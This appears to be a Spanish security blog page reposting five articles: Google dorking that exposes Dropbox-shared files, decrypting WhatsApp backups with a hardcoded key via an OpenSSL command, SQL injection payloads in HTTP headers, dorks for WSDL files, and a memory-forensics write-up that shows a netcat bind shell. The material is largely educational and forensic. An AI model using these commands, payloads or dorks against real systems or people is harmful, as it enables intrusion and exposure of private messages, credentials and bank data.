Banner 1

Lo que se comparte por Dropbox al alcance en Google

0 comentarios
 En varias ocasiones he hablado por aquí del problema que tienen las opciones de indexación de URLs tal y como se configuran el Google que pueden llevar a fugas de datos y problemas de privacidad. Ejemplos de esto os he puesto con Facebook, WhatsApp y con Gmail, pero el número de sitios que se ven afectados son infinitos, por lo que puedes pasarte una tarde divertida dorking as a ninja a ver qué sale.
Figura 1: Fichero robots.txt de DropBox

Un amigo por Facebook - ¡Gracias Alan Brian! - en lugar de pedirme que hackeara cosas para él, me avisó de que en Dropbox sucede lo mismo y que el material que allí se puede encontrar es jugoso. Basta con irse a echar un ojo al fichero robots.txt de DropBox para ver que todos los archvios que se encuentren en los directorios /s y /sh están prohibidos para su indexación, pero sin embargo las direcciones URLs y los títulos de las mismas sí que van a quedar indexadas salvo que se introduzcan las etiquetas en el código HTML de NoIndex o se añada el X-Robots-Tag "NoIndex" a nivel de servidor web y Google los vea, algo para lo que no debería estar configurado el fichero robots.txt ya que si está el fichero robots.txt prohibiendo el acceso no verá las etiquetas. Incongruencia máxima de cómo funciona esto.
Figura 2: 1.570.000 URLs indexadas en /s
En Dropbox el número de URLs indexadas es de 1.570.000 sólo en el directorio /s, lo que deja para buscar y jugar largo rato haciendo hacking con buscadores. Hay algunas URLs filtradas con permisos de seguridad, archivos que ya no están, pero lo cierto es que la mayoría de esas URLs llevan a ficheros que sí que están y son accesibles, por lo que se puede sacar de todo.
Buscando así, al azar, aparecen ficheros con bases de datos de usuarios y contraseñas, archivos comprimidos con fotografías, código fuente de programas y aplicaciones, libros, música que se puede buscar como hacíamos en Skydrive, películas, y casi cualquier cosa que se te ocurra.
Figura 3: Dump de 450.000 usuarios y passwords de Yahoo!
Entre las cosas que he sido capaz de localizar está la presentación completa del Codemotion ES que yo utilicé este año y que entregué a los organizadores, lo que me ha permitido recuperar completas todas las diapositivas de la charla que había perdido - larga vida al hacking -.
Cuidado con Google y el robot.txt
De todo ello, lo que más me ha maravillado es cómo se puede buscar en Google información prohibida por robots.txt. Veréis, yo he buscado por IBAN para ver si había gente que hubiera subido datos de cuentas corrientes a Dropbox, y me ha salido un resultado donde en el título se puede ver la palabra IBAN, aunque como está protegido por robots.txt no puedo ver ningún dato del resultado.
Figura 4: Resultados con información de una cuenta corriente bancaria
Cuando he ido a ver el sitio a ver qué se estaba compartiendo de forma pública se puede ver que hay una página con información de una cuenta bancaria, pero el texto IBAN solo aparece en el contenido del fichero PDF y no se encuentra en el título de la página, es decir, está solo en el texto de algún enlace a este documento.
Figura 5: El dato de IBAN no aparece ni en la URL ni en el título, solo en el contenido
Mirando el código fuente a ver otra de las palabras que aparece en el título que aparece en los resultados de búsqueda de Google, la palabra CODICE, se puede ver que tampoco está allí, por lo que parece más que evidente que Google está indexando la URL de ese documento PDF y deja buscar por términos asociados, como los del texto del enlace. Es decir, Google indexa en su base de datos el documento PDF, genera metadatos sobre el documento generados a partir el texto de algún enlace y deja buscar por ellos.
Figura 6: CODICE tampoco está en el código fuente de la página
Además, parece que la gente de DropBox ha decidido que esto no debería estar así y en el código fuente se puede ver la etiqueta NoIndex para que Google no indexe nada del contenido de esa página web, pero Google no le ha hecho caso porque esta URL está prohibida por robots.txt y Google nunca leerá esa etiqueta y por tanto no le hará caso..
Figura 7: La página tiene la etiqueta noindex en el código HTML, pero está en la base de datos de Google
A los administradores de Dropbox les tocará darse un paseo por las Herramientas del Webmaster e ir borrando las URLs que ellos consideren una a una, para que no quede esto así. La otra alternativa sería borrar el robots.txt para que Google lea las etiquetas noindex. Curioso funcionamiento. Si compartes algo por Dropbox, revisa bien los permisos de seguridad y las cuentas a las que les das acceso, y ten presente que si Google accede de alguna forma a tu URL puede que aparezcan fugas de información en el título, los metadatos generados con el texto del enlace que se cree sobre el documento o la misma URL.

Fuente: http://www.elladodelmal.com/2013/12/lo-que-se-comparte-por-dropbox-al.html

Descifrando el fichero msgstore.db.crypt de WhatsApp

0 comentarios
 
La base de datos de mensajes de WhatsApp se guarda en un fichero en  formato SQLite. En el caso de los teléfonos IOS este fichero está en la ruta: [ID de App]/Documents/ChatStorage.sqlite y en el caso de los teléfonos Android en: /com.whatsapp/databases/msgstore.db. Este fichero está sin cifrar tal y como decía Yago el año pasado y requiere que el teléfono este jailbreakedo para acceder a el.
En el caso de Android además existe un fichero de backup que se almacena  en la tarjeta externa de memoria y que tampoco estaba cifrado. Esto cambió en una actualización que sufrió la aplicación después de los comentarios de Yago. De esta forma si se pierde el teléfono o lo roban, aunque tengan la tarjeta no podrán leer los mensajes.
Por desgracia, el cifrado que utiliza la aplicación (AES-192-ECB) en el fichero de backup siempre la hace usando la misma key (346a23652a46392b4d73257c67317e352e3372482177652c), y ningún factor único de cada dispositivo, por lo que se pueden recuperar los mensajes de cualquier móvil de la misma forma y en pocos segundos.
Si por cualquier motivo os veis en esta situación, para descifrar el fichero y acceder a la base de datos se puede hacer de forma sencilla con OpenSSL (fuente y binario para windows), con el siguiente comando, donde tan solo hay que especificar el fichero de entrada (-in) y el de salida (-out) con los nombres que correspondan:
Data provided by Pastebin.com - Download Raw - See Original
    openssl enc -d  -aes-192-ecb -in msgstore-1.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c
Para todos aquellos que lo quieran aún más fácil, he montado una web  temporal para hacerlo automáticamente  subiendo el fichero cifrado: http://www2.unsec.net/whatsapp/. http://www.recovermessages.com

Fuente:
http://www.securitybydefault.com/2012/05/descifrando-el-fichero-msgstoredbcrypt.html

Biografía:
http://villatux.blogspot.com/2013/04/analisis-forence-whatsapp-cracking.html
http://multimaniaco.wordpress.com/2013/04/15/recuperando-conversaciones-de-whatsapp-a-partir-de-los-ficheros-de-android-en-os-x/
http://www.securitybydefault.com/2013/02/recuperar-mensajes-borrados-de-whatsapp.html
http://translate.googleusercontent.com/translate_c?depth=1&hl=es&prev=/search%3Fq%3Div%2Bundefined%2Bopenssl%26biw%3D1137%26bih%3D444&rurl=translate.google.com.co&sl=en&u=http://security.stackexchange.com/questions/29106/openssl-recover-key-and-iv-by-passphrase&usg=ALkJrhg3p0eecCftQJGE0lV578_hgB8X2Q
http://gonzac-studios.blogspot.com/2012/06/hack-desencriptar-y-obtener-datos-de.html

SQL Inyection a traves de cabeceras HTTP

0 comentarios

Cuando realizamos pruebas de variables en una aplicacion web en busca de vulnerabilidades del tipo SQLI o Blind SQLI nos limitamos a testearla solo mediante peticiones GET y POST pero nos olvidamos o desconocemos de otros parametros que pueden ser inyectados para obtener un lindo error de la DB que nos permita meterle jeringa hasta sacarle jugo a  toda la informacion posible.

¿Y los parametros de una cabecera HTTP? ¿no son inyectables?



Este es un analisis que se realizo usando varios scaneres de aplicaciones web de codigo abierto y comerciales, como se puede distinguir, el 75%  de estas herramientas no pudo encontrar una vulnerabilidad en los encabezados HTTP, por otro lado el 70% de estos scaneres no inspecciona las cookies. Generalmente y si no me queda mas que indagar en las cabeceras trato de buscar este tipo de vulns a mano limpia, como deberia hacerse con todo

Posibles encabezados HTTP para inyecciones SQL

Los campos de la cabecera HTTP




 X-Forwarded-For

X-Forwarded-For es un campo de encabezado HTTP para la identificación de la dirección IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o un equilibrador de carga.

Vamos a ver un ejemplo de esta falla


1
$req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");
La variable login es controlada por la funcion sanitize()


1
function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }
Vamos a inspeccionar la variable ip controlada por la funcion ip_addr()


1
function ip_adr() { if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; }
Obviamente, la dirección IP se obtiene del parametro X_FORWARDED_FOR. Luego es controlado por preg_match que verifica si el valor corresponde a una dirección IP

la variable HTTP_X_FORWARDED_FOR  no es verificada apropiadamente antes de su valor que se utiliza en la consulta SQL. Esto puede llevar a ejecutar cualquier consulta SQL mediante la inyección de código SQL arbitrario en este campo.

La simple modificación de este campo de encabezado a algo así como:


1
2
GET /index.php HTTP/1.1
X_FORWARDED_FOR :127.0.0.1' or 1=1#
User-Agent

Tambien podemos hacer uso de este parametro para verificar
GET /index.php HTTP/1.1
User-Agent: aaa' or 1/*

Referer

?
1
2
3
4
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa' or 1/*
Cookie

Podemos testear el parametro cookie manualmente complementando algun addon en el navegador que nos permita hacer esto, como Cookies Manager+ o el Tamper Data, asi inyectamos una sqli en el campo content.






O usando alguna herramienta de automatizacion como Sqlmap



Fuente:http://blog.underc0de.org/2013/12/sql-inyection-traves-de-cabeceras-http.html

Pentesting a servicos web: WSDL

0 comentarios

¿Que es WSDL?

“Web Services Description Language” es un lenguaje empleado en páginas web para informar a los clientes que el servidor dispone de una aplicación indicándole en que consiste el servicio que ofrece, mostrando cual es su función y como puede un cliente interactuar con ella. Esto lo hace a través de un archivo XML en donde se describe todo lo anterior.

WSDL esta pensado para facilitar la vida al administrador pudiendo añadir de manera amena nuevos servicios.

El archivo XML contine una serie de etiquetas en donde se refleja la información:

types –> define los tipos de datos utilizados en los mensajes

message –> define los métodos y parametros utilizados por el servicio

porttipe –> define las operaciones permitidas

binding –> define los protocolos de transporte permitidos

services–> define las direcciones y los puertos ha emplear

 Un ejemplo para entenderlo mejor: http://tinyurl.com/knpx95z

Más información : http://di002.edv.uniovi.es/~falvarez/WSDL.pdf

¿Y esto a un pentester que le importa :-p?

La información que ofrece este archivo puede llegar a ser un tesoro. Con él se obtiene información sobre appwebs, su ubicación, como trabaja, puntos de entrada a la aplicación, posibles ataques de sql injection, ataques a paneles de autentificacion, ataques al parámetro SessionId,…

A parte de lo anterior es posible realizar otra serie de ataques por medio de WSDL:

  • Denegaciones de servicio: mediante aplicaciones de análisis basados en DOM

  • XPath injections

  • parsing attack

  • (xee) xml external entity

  • Spoofing

Auditando:

Para encontrar ficheros WSDL basta con hacer un poco de hacking con buscadores:

filetype:”wsdl”

indexof:”/wsdl”

inurl:wsdl

inurl:”?wsdl”

inurl:”.wsdl”

inurl:”.aspx?wsdl”

inurl:”.ascx?wsdl”

inurl:”.asmx?wsdl”

inurl:”.ashx?wsdl”

inurl:”.jws?wsdl”

inurl:”.svc?wsdl”

filetype:wsdl wsdl

…..Y las que se te vayan ocurriendo

Una de las herramientas para este fin que más me ha sorprendido es WS-ATTACKER, actualizada hace unos meses, incorpora una cantidad de plugins muy interesantes.

Basta con indicar la ruta de un wsdl, configurando los parámetros, seleccionar los plugins que convegan  y comenzar a testear

Web del proyecto: WS-Attacker


menu1menu2menu3

Fuente: http://dominiohacker.com/pentesting-a-servicos-web-wsdl-1880/

Analizando un trozito de memoria

0 comentarios
Una gran entrada de neo:

El contenido de este artículo se corresponde con mi propuesta de solución a la prueba de análisis forense planteada por el inteco. Los ficheros correspondientes a cada una de las pruebas, incluyendo el volcado de la memoria ram utilizado en este análisis, estan disponibles gracias a un compañero de la lista de correo de la rooted desde el siguiente enlace.

Importante recalcar que he tenido que modificar e incluso en ocasiones eliminar información que considero superflua para adaptarme a las limitaciones de formato impuestas por el tema del blog.

Indicar si la máquina está comprometida y en caso afirmativo con qué tipo de código malicioso, aportando las pruebas encontradas del mismo.[15%]

La máquina ha sido comprometida y para ocultar la ejecución de determinados comandos a la vista de un posible análisis del sistema "en caliente" se ha utilizado el rootkit FUto.

Analizando mediante volatility el listado de los procesos que se encontraban en ejecución en el sistema en el momento de realizar el volcado de la memoria física obtenemos:
# python vol.py -f imagen.dd pslist

Volatile Systems Volatility Framework 2.3_beta

Offset(V)  Name                 PID   PPID   Thds     Hnds  Start 
                      
---------- ----------------- ------ ------ ------ -------- --------------------------

0x81233bd0 System                 4      0     49      234                           
                                  
0x810dc368 smss.exe             524      4      3       19  2009-10-24 10:48:21 UTC+0

0x810d89a0 csrss.exe            596    524     10      231  2009-10-24 10:48:26 UTC+0

0x810be578 winlogon.exe         620    524     18      491  2009-10-24 10:48:27 UTC+0

0x810ec620 services.exe         664    620     14      235  2009-10-24 10:48:28 UTC+0

0xffb78150 lsass.exe            676    620     14      268  2009-10-24 10:48:29 UTC+0

0xffb538e0 vmacthlp.exe         844    664      1       24  2009-10-24 10:48:31 UTC+0

0x810cb1d0 svchost.exe          892    664      6      117  2009-10-24 10:48:33 UTC+0

0x810d3460 svchost.exe          960    664      9      193  2009-10-24 10:48:33 UTC+0

0x810d9a78 svchost.exe         1068    664     23      463  2009-10-24 10:48:34 UTC+0

0x810a2c90 svchost.exe         1096    664      6       60  2009-10-24 10:48:34 UTC+0

0xffb44638 svchost.exe         1220    664     10      153  2009-10-24 10:48:34 UTC+0

0xffb37278 VMwareService.e     1452    664      3      129  2009-10-24 10:48:37 UTC+0

0xffb7e4b8 explorer.exe        1704   1680     12      274  2009-10-24 10:51:05 UTC+0

0xffb19228 VMwareTray.exe      1780   1704      1       26  2009-10-24 10:51:07 UTC+0

0xffb17210 VMwareUser.exe      1788   1704      4       72  2009-10-24 10:51:07 UTC+0

0xffb153c0 cmd.exe             1012   1704      1       20  2009-10-24 11:01:34 UTC+0

0x81067da0 win32dd.exe         1020   1012      1       21  2009-10-24 11:01:34 UTC+0

De la salida anterior, similar al resultado obtenido mediante el administrador de tareas de Windows, podemos concluir que se ha utilizado el binario win32dd.exe para realizar el volcado de la memoria. Dado que dicho binario se ejecuta desde la línea de comandos tiene sentido la aparición de un proceso de nombre cmd.exe. Para confirmar este punto, y de nuevo mediante volatility, comprobaremos los programas ejecutados en el sistema desde la "shell":
# python vol.py -f imagen.dd cmdscan

Volatile Systems Volatility Framework 2.3_beta

**************************************************

CommandProcess: csrss.exe Pid: 596

CommandHistory: 0x4e50d8 Application: cmd.exe Flags: Allocated

CommandCount: 0 LastAdded: -1 LastDisplayed: -1

FirstCommand: 0 CommandCountMax: 50

ProcessHandle: 0x2a4

Cmd #0 @ 0xfc32d8: Nd \Malware\FUto

Cmd #1 @ 0x4e2328: Ntart nc -d -L -p 31337 -e cmd.exe

Cmd #2 @ 0x4e2a10: N?N?

Cmd #3 @ 0x4e9068: Netstat -a   ?N???N?N

Cmd #4 @ 0x4e91a0:  ??

Cmd #5 @ 0x4e9cf8: in32dd.exe

Cmd #6 @ 0x4e1eb8: N?N?

Cmd #7 @ 0x4e2ce8: N?N-phd msdirectx.sys

Cmd #8 @ 0x4e9e38: md.exe

**************************************************

CommandProcess: csrss.exe Pid: 596

CommandHistory: 0xfcf400 Application: win32dd.exe Flags: Allocated

CommandCount: 0 LastAdded: -1 LastDisplayed: -1

FirstCommand: 0 CommandCountMax: 50

ProcessHandle: 0x330

Obtenemos nuevos datos que constituyen nuevas vías de investigación. Parece que se han lanzado programas cuya ejecución se ha ocultado mediante el uso del rootkit FUto.

Confirmaremos este punto utilizando como cadena de búsqueda la ruta "\Malware\FUto":
# python vol.py -f imagen.dd filescan | grep Malware

Volatile Systems Volatility Framework 2.3_beta

Offset(P)    #Ptr   #Hnd Access Name

---------- ------ ------ ------ ----

0x00d14f90      1      0 R--r-d \Device\HarddiskVolume1\Malware\FUto\fu.exe

0x01d5e828      1      1 R--rw- \Device\HarddiskVolume1\Malware\FUto

0x027f0f00      1      0 R--r-d \Device\HarddiskVolume1\Malware\FUto\nc.exe

NOTA: la salida del comando anterior no mostraba la cabecera, la cual se ha incluido para facilitar el análisis de los resultados obtenidos.

¿Tiene procesos, bibliotecas o módulos ocultos en el sistema? En caso afirmativo indicar cuales con todos los detalles de los mismos y los métodos de detección utilizados.[30%]

Tal como se extrajo de la respuesta a la pregunta anterior es obvio que existen al menos un proceso y un modulo/driver en ejecución pero ocultos por acción del citado rootkit. Para confimar la ejecución de netcat utilizaremos volatility mediante un comando diferente, el cual realiza un listado más exhaustivo de los procesos en ejecución:
# python vol.py -f imagen.dd psxview

Volatile Systems Volatility Framework 2.3_beta

Offset(P)  Name                 PID pslist psscan thrdproc pspcid csrss session deskthrd

---------- ----------------- ------ ------ ------ -------- ------ ----- ------- --------

0x010a6620 services.exe         664 True   True   True     True   True  True    True

0x004038e0 vmacthlp.exe         844 True   True   True     True   True  True    True
    
0x02dfd278 VMwareService.e     1452 True   True   True     True   True  True    True
    
0x03da03c0 cmd.exe             1012 True   True   True     True   True  True    True
    
0x02086638 svchost.exe         1220 True   True   True     True   True  True    True
    
0x00ae3850 nc.exe               408 False  True   True     False  True  True    True
    
0x0108d460 svchost.exe          960 True   True   True     True   True  True    True
    
0x0105cc90 svchost.exe         1096 True   True   True     True   True  True    True
    
0x03e4a228 VMwareTray.exe      1780 True   True   True     True   True  True    True
    
0x009e3150 lsass.exe            676 True   True   True     True   True  True    True
    
0x01093a78 svchost.exe         1068 True   True   True     True   True  True    True
    
0x01021da0 win32dd.exe         1020 True   True   True     True   True  True    True

0x010851d0 svchost.exe          892 True   True   True     True   True  True    True
    
0x03b6d210 VMwareUser.exe      1788 True   True   True     True   True  True    True
    
0x01078578 winlogon.exe         620 True   True   True     True   True  True    True
    
0x00d144b8 explorer.exe        1704 True   True   True     True   True  True    True
    
0x010929a0 csrss.exe            596 True   True   True     True   False True    True
    
0x01096368 smss.exe             524 True   True   True     True   False False   False
   
0x011edbd0 System                 4 True   True   True     True   False False   False

La cabecera informa del tipo de análisis utilizado para realizar el listado de procesos y la aparición de "False" determina si dicho método consigue detectar el proceso en cuestión. Concretamente para netcat la columna correspondiente al listado del comando pslist, ejecutado en la sección anterior, confirma que no es capaz de detectarlo lo que explica que no pudieramos verlo.

Veamos ahora si existe algún modulo/driver oculto, utilizando como cadena de búsqueda datos extraídos de los comandos ejecutados desde cmd.exe:
# python vol.py -f imagen.dd modscan | grep Malware

Volatile Systems Volatility Framework 2.3_beta

Offset(P)  Name           Base           Size File

---------- -------------- ---------- -------- ----

0x0112e688 msdirectx.sys  0xfc3b6000  0x10000 \??\C:\Malware\FUto\msdirectx.sys

NOTA: la salida del comando anterior no mostraba la cabecera, la cual se ha incluido para una mayor claridad en el análisis de los resultados obtenidos.

Enlace a Rootkit.c, el cual forma parte de FUto y se correspondería, una vez compilado, con el driver msdirectx.sys en cuestión.

¿Existe algún tipo de indicio de comunicaciones en el sistema que permitan el control remoto del mismo? En caso afirmativo explicar detalladamente. (direcciones IP, puertos, procesos, ruta de los ficheros implicados, comandos ejecutados, privilegios en el sistema, etc.)[20%]

No se detectan conexiones en curso en el momento en que se obtuvo el volcado de la memoria física del sistema, para lo cual ha vuelto a ejecutarse volatility:
# python vol.py -f imagen.dd connscan

Volatile Systems Volatility Framework 2.3_beta

Offset(P)  Local Address     Remote Address     Pid

---------- ----------------- ------------------ -----

Lo que no significa que no puedan establecerse, de hecho esa es la finalidad de la ejecución del comando netcat, brindar una shell del sistema a cualquiera que se conecte al puerto 31337 TCP de la máquina comprometida:
# python vol.py -f imagen.dd sockscan

Volatile Systems Volatility Framework 2.3_beta

Offset(P)    PID   Port  Proto Protocol   Address         Create Time

---------- ----- ------ ------ ---------- --------------- -------------------------

0x01020a78     4    445      6 TCP        0.0.0.0         2009-10-24 10:48:21 UTC+0

0x01020cc0     4    445     17 UDP        0.0.0.0         2009-10-24 10:48:21 UTC+0

0x01021538  1220   1900     17 UDP        127.0.0.1       2009-10-24 10:51:13 UTC+0

0x01056d80   960    135      6 TCP        0.0.0.0         2009-10-24 10:48:34 UTC+0

0x010e7500     4    137     17 UDP        192.168.150.130 2009-10-24 10:48:37 UTC+0

0x01109bf0     4    139      6 TCP        192.168.150.130 2009-10-24 10:48:37 UTC+0

0x0110c3c0     4    138     17 UDP        192.168.150.130 2009-10-24 10:48:37 UTC+0

0x01130cc0  1220   1900     17 UDP        192.168.150.130 2009-10-24 10:51:13 UTC+0

0x011c7508   408  31337      6 TCP        0.0.0.0         2009-10-24 10:56:47 UTC+0

0x0264babc     0   7266   8456 -          128.206.46.0    -

0x02a49608  1068    123     17 UDP        127.0.0.1       2009-10-24 10:48:38 UTC+0

0x02a49a40  1068    123     17 UDP        192.168.150.130 2009-10-24 10:48:38 UTC+0

La salida anterior confirma la asociación del puerto 31337 TCP con el PID 408 (nc.exe) y el comando ejecutado desde al consola del sistema así lo confirma:
# python vol.py -f imagen.dd cmdscan | grep nc

Volatile Systems Volatility Framework 2.3_beta

Cmd #1 @ 0x4e2328: Ntart nc -d -L -p 31337 -e cmd.exe

Extraiga los ficheros maliciosos identificados en el sistema e indique los hash (SHA256) de los mismos y la ruta donde están ubicados en el disco duro de la máquina.[20%]

No resulta posible volcar el binario de netcat desde la memoria ya que el comando de volatility utilizado para ello indica que la página de memoria donde se encontraba almacenado ha sido paginada:
# python vol.py -f imagen.dd filescan | grep nc.exe

Volatile Systems Volatility Framework 2.3_beta

0x027f0f00      1      0 R--r-d \Device\HarddiskVolume1\Malware\FUto\nc.exe




# python vol.py -f imagen.dd psscan | grep nc

Volatile Systems Volatility Framework 2.3_beta

0x00ae3850 nc.exe        408    388 0x00cba000 2009-10-24 10:56:47 UTC+0000




# python vol.py -f imagen.dd procexedump -p 408 -o 0x00ae3850 -D evidencias/

Volatile Systems Volatility Framework 2.3_beta

Process(V) ImageBase  Name      Result

---------- ---------- --------- ------

0xffaf6850 0x00400000 nc.exe    Error: ImageBaseAddress at 0x400000 is paged

Sin embargo no ocurre lo mismo con el driver msdirectx.sys:
# python vol.py -f imagen.dd modscan | grep msdirectx.sys

Volatile Systems Volatility Framework 2.3_beta

0x0112e688 msdirectx.sys    0xfc3b6000    0x10000 \??\C:\Malware\FUto\msdirectx.sys




# python vol.py -f imagen.dd moddump --base=0xfc3b6000 -D evidencias/

Volatile Systems Volatility Framework 2.3_beta

Module Base Module Name          Result

----------- -------------------- ------

0x0fc3b6000 UNKNOWN              OK: driver.fc3b6000.sys




# cd evidencias/

# shasum -a 256 driver.fc3b6000.sys

a9af6231ed5b6f9a8c7e0a10b6d26a5f052b91a98436dddc5f6b1b02e5edf6ec  driver.fc3b6000.sys

Enlace al análisis del fichero volcado utilizando virustotal.

Explicar cómo tiene persistencia en el sistema, aportando las evidencias encontradas.[15%]

No conozco en detalle el funcionamiento del rootkit en cuestión, pero entiendo que lo más obvio sería garantizar su ejecución tras cada reinicio del sistema mediante el registro de Windows. Puede confirmarse que existe una clave para el servicio/driver msdirectx, pero su ejecución aparece como deshabilitada (parámetro Start de la salida mostrada a continuación):
# python vol.py -f imagen.dd printkey -K "ControlSet001\Services\msdirectx"

Volatile Systems Volatility Framework 2.3_beta

Legend: (S) = Stable   (V) = Volatile




----------------------------

Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\system

Key name: msdirectx (S)

Last updated: 2009-10-24 10:59:17 UTC+0000




Subkeys:

  (S) Security

  (V) Enum




Values:

REG_DWORD     Type            : (S) 1

REG_DWORD     Start           : (S) 4

REG_DWORD     ErrorControl    : (S) 1

REG_EXPAND_SZ ImagePath       : (S) \??\C:\Malware\FUto\msdirectx.sys

REG_SZ        DisplayName     : (S) msdirectx

REG_DWORD     DeleteFlag      : (S) 1

En cuanto al backdoor mediante la ejecución de netcat sirviendo una shell en el puerto 31337 lo más logico sería ejecutar dicho comando desde la clave del registro que determina las aplicaciones que se ejecutan con el inicio del sistema, o incluso utilizando la clave asociada a Winlogon, pero no resulta posible confirmar ninguna de las hipotesis anteriores dado que la clave del registro correspondiente a HKLM\Software no estaba cargada en memoria cuando se obtuvo el fichero de volcado proporcionado.

Registro de Windows, svchost y malware.

Despedida y cierre

Tal como he comentado al principio ésta es mi solución, y no tiene porque ser la correcta, o al menos no todo lo correcta que debería, así que ya sabes, se aceptan todo tipo de críticas ... eso sí, preferiblemente constructivas :)

Fuente:http://neosysforensics.blogspot.com/2013/06/analizando-un-trozito-de-memoria.html
Powered by Bad Robot
Helped by Blackubay